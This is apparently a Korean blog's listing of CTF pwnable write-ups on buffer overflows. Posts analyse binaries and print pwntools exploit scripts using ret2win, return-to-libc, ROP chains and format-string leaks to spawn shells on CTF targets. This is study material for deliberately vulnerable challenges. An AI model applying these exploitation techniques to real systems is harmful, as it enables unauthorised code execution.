일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- fsb
- 이진트리
- House of Orange
- syscall
- tcache
- 투 포인터
- OOB
- DFS
- 이분 탐색
- 연결리스트
- 큐
- 동적 계획법
- 스택
- 문자열 처리
- RTL
- 분할 정복
- BFS
- 다이나믹 프로그래밍
- heap
- 포맷스트링버그
- 완전 탐색
- 백트래킹
- BOF
- ROP
- 에라토스테네스의 체
- 이진 탐색
- 스위핑 알고리즘
- 수학
- off by one
- 브루트 포스
- Today
- Total
목록BOF (23)
SDJ( 수돈재 아님 ㅎ )

보호기법은 다음과 Partial RELRO와 NX가 걸려있다. 바이너리를 분석해보자 speedrun 문제는 다 간단한 문제들이라 취약점은 쉽게 보인다. sub_400B60()함수를 보면 1 2 3 4 5 6 7 8 __int64 sub_400B60() { char buf; // [rsp+0h] [rbp-400h] sub_410390("Any last words?"); sub_4498A0(0, &buf, 0x7D0uLL); return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n"); } BOF가 터지는게 보인다. 이 바이너리는 Dynamic linkingdynamically linked이 아니라 staticall..

한양대학교 Open CTF이길래 재미삼아 도전해 봤다. 아름답다. 제공해준 libc파일이 2.27이라서 우분투 18.04에서 풀었다. main함수는 다음과 같다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 int __cdecl main(int argc, const char **argv, const char **envp) { char *v3; // rdx int v5; // [rsp+8h] [rbp-118h] int buf; // [rsp+Ch] [rbp-114h] char v7; // [rsp+10h] [rb..

일단 2.28버전이라 로컬에서 돌리지 못했다. ( Ubuntu 16.04 LTS 라서 2.28이 아니었다.. ) 그래서 서버로 일일이 접속하며 풀었는데 꽤나 힘들었다. 먼저 32 bit 바이너리에 Partial RELRO, NX가 활성화 되어있다. IDA로 분석해보면 다음과 같이 vuln()함수에서 gets()함수로 BOF가 발생하고 format string buf ( FSB )도 발생하는 것을 볼 수 있다. 카나리가 존재하지는 않으므로 ROP를 통해 쉽게 익스가 가능할 것이라고 생각했다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import..

32bit 바이너리에 Partial RELRO만 걸려있다. 이번에는 win()함수에 인자 2개가 추가 되었다. __int64 al와 int a2인데 __int64 는 8byte이고 int는 4byte라고 알고있기 때문에 자료형에 맞게 인자를 보내줘야 겠다. 그리고 vuln()함수에서 bof가 발생하는데 이번에는 ret를 win으로 덮기만해서는 안되고 위에있는 인자를 덮어줘야할 필요가 있다. 따라서 RTL을 통해 win()함수를 실행 시키면 flag를 얻을 수 있다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * #p = process('./bufover-2') p = remote("shell.2..

32bit 바이너리에 Partial RELRO만 걸려있다 flag를 읽어주는 win()함수가 있다. vuln()함수에서 gets(&s);에서 BOF가 발생하므로 역시 ret를 win()함수의 주소로 덮어주면 된다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * #p = process('./bufover-1') p = remote("shell.2019.nactf.com",31462) win = 0x080491B2 pay = '' pay += 'a'*0x18 pay += p32(0) pay += p32(win) p.sendlineafter(">", pay) p.interactive() BufferOverflow #0과 똑같은 문제인 듯 하다..

32비트 바이너리에 partial RELRO만 걸려있다. 바이너리 안에 flag를 읽어주는 win()함수가 있다. 그리고 vuln()함수에서 BOF가 발생하므로 ret를 win()의 주소로 덮어주면 된다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * #p = process('./bufover-0') p = remote("shell.2019.nactf.com",31475) win = 0x080491C2 pay = 'a'*0x18 pay += 'b'*4 pay += p32(win) p.sendline(pay) p.interactive() 아주 기초적인 BOF문제. flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}

64bit 바이너리에 NX만 활성화 되어있다. 가장먼저 main()함수에서 bof취약점이 존재한다. 그리고 bof가 일어나는 함수 climax()를 준다. 따라서 익스플로잇 과정은 다음과 같다. 1. ret에 read_leave_ret을 넣어 bss로 돌린다. 2. ROP를 통해 가젯들과 주소를 구한다. 3. RTL로 쉘을 딴다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import * p = process("./storytime") write_plt =..

64bit 바이너리에 NX만 활성화 되어있다. Lite와 달리 system의 주소는 주어지지 않고 /bin/sh문자열만 존재한다. 이때 gets(&v1);에서 bof가 발생하므로 ROP를 통해 system주소를 구하고 쉘을 따면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * p = process('./combo-chain') bin_sh = 0x0000000000402008 + len('Dude you hear about that new game called ') gets_leave_ret = ..

64bit 바이너리에 NX만 활성화 되어있다. Lite문제는 system의 주소를 주고 문자열 끝에 "/bin/sh"도 준다. 따라서 RTL로 쉘을 따면 되겠다. 64bit는 rdi, rsi, rdx순으로 인자를 받으므로 pop_rdi 가젯을 찾아 /bin/sh를 넣고 system 함수를 호출하면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * p = process('./combo-chain-lite') pop_rdi = 0x401273 p.recvuntil("computer: ") libc_system = int(p.recvuntil('\n').strip(), 16) print "libc_system : " + he..

32bit 바이너리에 아주 간단한 bof문제이다. vuln()함수에서 gets(&s); 에서 bof가 발생한다. 게다가 system("/bin/sh");도 주어줬으므로 ret에 win()함수를 넣어주면 되겠다. 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = process('./return-to-sender') win = 0x080491B6 pay = '' pay += 'a'*0x10 pay += 'bbbb' pay += p64(win) p.sendlineafter("today? ", pay) p.interactive()

ctf는 진작 끝났지만.. pwn을 좋아하기 때문에 따로 가입을 해서 풀어 보았다. 먼저 main을 보면 처음 노란 줄에서 s에 0x40만큼 입력을 받고 두 번째 노란 줄에서 출력을 해준다. 이때 format-string-bug( fsb )가 일어나 메모리의 leak이 가능하게 된다. 다음 secret() 함수를 봐보자 이때 두번째 노란 줄 gets(&s1); 에서 bof가 일어나서 ret을 조작할 수 있게 된다. 따라서 익스플로잇 과정은 다음과 같다. 1. fsb로 PIE_base, libc_base, canary를 leak 한다. 2. one_gadget을 구해 ret에 덮는다. (하지만 one_gadget이 전부 작동하지 않았다.) 2. libc_base와 PIE_base를 기반으로 system과 ..